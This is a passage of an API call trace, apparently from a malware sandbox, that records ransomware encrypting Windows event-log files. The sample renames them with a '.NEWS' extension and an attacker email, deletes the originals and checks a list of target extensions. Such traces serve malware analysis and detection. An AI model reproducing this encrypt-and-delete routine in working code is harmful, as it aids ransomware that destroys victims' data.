out: lpNewFilePointer=0x0) returned 1 [0079.939] SetEndOfFile (hFile=0x354) returned 1 [0079.940] CloseHandle (hObject=0x354) returned 1 [0079.940] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.940] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0079.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.941] lstrlenW (lpString=".doc") returned 4 [0079.941] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString=".docx") returned 5 [0079.941] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.941] lstrlenW (lpString=".pdf") returned 4 [0079.941] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString=".xls") returned 4 [0079.941] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString=".xlsx") returned 5 [0079.941] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.941] lstrlenW (lpString=".ppt") returned 4 [0079.941] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.941] lstrlenW (lpString=".zip") returned 4 [0079.941] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString=".rar") returned 4 [0079.941] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString=".bz2") returned 4 [0079.941] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString=".7z") returned 3 [0079.941] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.941] lstrlenW (lpString=".dbf") returned 4 [0079.941] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.941] lstrlenW (lpString=".1cd") returned 4 [0079.941] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.941] lstrlenW (lpString=".jpg") returned 4 [0079.941] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0079.942] lstrlenW (lpString=".doc") returned 4 [0079.942] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.942] lstrlenW (lpString=".docx") returned 5 [0079.942] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.118] lstrlenW (lpString=".pdf") returned 4 [0080.131] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.133] lstrlenW (lpString=".xls") returned 4 [0080.133] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.133] lstrlenW (lpString=".xlsx") returned 5 [0080.133] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.133] lstrlenW (lpString=".ppt") returned 4 [0080.133] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.133] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0080.133] lstrlenW (lpString=".zip") returned 4 [0080.133] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.133] lstrlenW (lpString=".rar") returned 4 [0080.133] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.133] lstrlenW (lpString=".bz2") returned 4 [0080.133] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.133] lstrlenW (lpString=".7z") returned 3 [0080.133] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.133] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0080.133] lstrlenW (lpString=".dbf") returned 4 [0080.134] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.134] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0080.134] lstrlenW (lpString=".1cd") returned 4 [0080.134] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.134] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0080.134] lstrlenW (lpString=".jpg") returned 4 [0080.134] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.134] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.134] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0080.134] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.134] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0080.134] CloseHandle (hObject=0x308) returned 1 [0080.136] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0080.136] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.136] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.136] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.136] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.136] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.137] GetLastError () returned 0x0 [0080.137] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.139] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.141] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.141] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x128, lpOverlapped=0x0) returned 1 [0080.141] SetEndOfFile (hFile=0x354) returned 1 [0080.141] CloseHandle (hObject=0x354) returned 1 [0080.144] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.144] SetEndOfFile (hFile=0x308) returned 1 [0080.145] CloseHandle (hObject=0x308) returned 1 [0080.145] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.146] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0080.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.146] lstrlenW (lpString=".doc") returned 4 [0080.146] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.146] lstrlenW (lpString=".docx") returned 5 [0080.146] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.146] lstrlenW (lpString=".pdf") returned 4 [0080.146] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.146] lstrlenW (lpString=".xls") returned 4 [0080.146] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.146] lstrlenW (lpString=".xlsx") returned 5 [0080.146] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.146] lstrlenW (lpString=".ppt") returned 4 [0080.146] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.146] lstrlenW (lpString=".zip") returned 4 [0080.146] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.146] lstrlenW (lpString=".rar") returned 4 [0080.146] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.146] lstrlenW (lpString=".bz2") returned 4 [0080.146] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.146] lstrlenW (lpString=".7z") returned 3 [0080.146] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.147] lstrlenW (lpString=".dbf") returned 4 [0080.147] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.147] lstrlenW (lpString=".1cd") returned 4 [0080.147] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.147] lstrlenW (lpString=".jpg") returned 4 [0080.147] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.147] lstrlenW (lpString=".doc") returned 4 [0080.147] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString=".docx") returned 5 [0080.147] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.147] lstrlenW (lpString=".pdf") returned 4 [0080.147] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString=".xls") returned 4 [0080.147] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString=".xlsx") returned 5 [0080.147] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.147] lstrlenW (lpString=".ppt") returned 4 [0080.147] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.147] lstrlenW (lpString=".zip") returned 4 [0080.147] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString=".rar") returned 4 [0080.147] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString=".bz2") returned 4 [0080.147] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString=".7z") returned 3 [0080.147] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.147] lstrlenW (lpString=".dbf") returned 4 [0080.147] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.148] lstrlenW (lpString=".1cd") returned 4 [0080.148] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.148] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0080.148] lstrlenW (lpString=".jpg") returned 4 [0080.148] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.148] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.148] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0080.148] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.148] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0080.148] CloseHandle (hObject=0x308) returned 1 [0080.148] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0080.148] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.148] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.149] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.149] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.149] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.149] GetLastError () returned 0x0 [0080.149] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.152] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.154] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.154] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x144, lpOverlapped=0x0) returned 1 [0080.154] SetEndOfFile (hFile=0x354) returned 1 [0080.154] CloseHandle (hObject=0x354) returned 1 [0080.156] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.156] SetEndOfFile (hFile=0x308) returned 1 [0080.158] CloseHandle (hObject=0x308) returned 1 [0080.158] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.158] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0080.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.159] lstrlenW (lpString=".doc") returned 4 [0080.159] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString=".docx") returned 5 [0080.159] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.159] lstrlenW (lpString=".pdf") returned 4 [0080.159] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString=".xls") returned 4 [0080.159] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString=".xlsx") returned 5 [0080.159] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.159] lstrlenW (lpString=".ppt") returned 4 [0080.159] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.159] lstrlenW (lpString=".zip") returned 4 [0080.159] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString=".rar") returned 4 [0080.159] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString=".bz2") returned 4 [0080.159] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString=".7z") returned 3 [0080.159] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.159] lstrlenW (lpString=".dbf") returned 4 [0080.159] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.159] lstrlenW (lpString=".1cd") returned 4 [0080.159] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.159] lstrlenW (lpString=".jpg") returned 4 [0080.159] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.160] lstrlenW (lpString=".doc") returned 4 [0080.160] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString=".docx") returned 5 [0080.160] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.160] lstrlenW (lpString=".pdf") returned 4 [0080.160] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString=".xls") returned 4 [0080.160] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString=".xlsx") returned 5 [0080.160] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.160] lstrlenW (lpString=".ppt") returned 4 [0080.160] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.160] lstrlenW (lpString=".zip") returned 4 [0080.160] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString=".rar") returned 4 [0080.160] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString=".bz2") returned 4 [0080.160] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString=".7z") returned 3 [0080.160] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.160] lstrlenW (lpString=".dbf") returned 4 [0080.160] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.160] lstrlenW (lpString=".1cd") returned 4 [0080.160] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0080.160] lstrlenW (lpString=".jpg") returned 4 [0080.160] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.161] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.161] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0080.161] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.161] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0080.161] CloseHandle (hObject=0x308) returned 1 [0080.161] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0080.161] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.161] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.161] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.161] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.161] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.162] GetLastError () returned 0x0 [0080.162] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.164] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.166] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.166] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x12c, lpOverlapped=0x0) returned 1 [0080.166] SetEndOfFile (hFile=0x354) returned 1 [0080.166] CloseHandle (hObject=0x354) returned 1 [0080.169] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.169] SetEndOfFile (hFile=0x308) returned 1 [0080.571] CloseHandle (hObject=0x308) returned 1 [0080.581] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.581] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0080.581] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.581] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.581] lstrlenW (lpString=".doc") returned 4 [0080.581] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.581] lstrlenW (lpString=".docx") returned 5 [0080.582] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.582] lstrlenW (lpString=".pdf") returned 4 [0080.582] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString=".xls") returned 4 [0080.582] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString=".xlsx") returned 5 [0080.582] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.582] lstrlenW (lpString=".ppt") returned 4 [0080.582] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.582] lstrlenW (lpString=".zip") returned 4 [0080.582] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString=".rar") returned 4 [0080.582] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString=".bz2") returned 4 [0080.582] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString=".7z") returned 3 [0080.582] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.582] 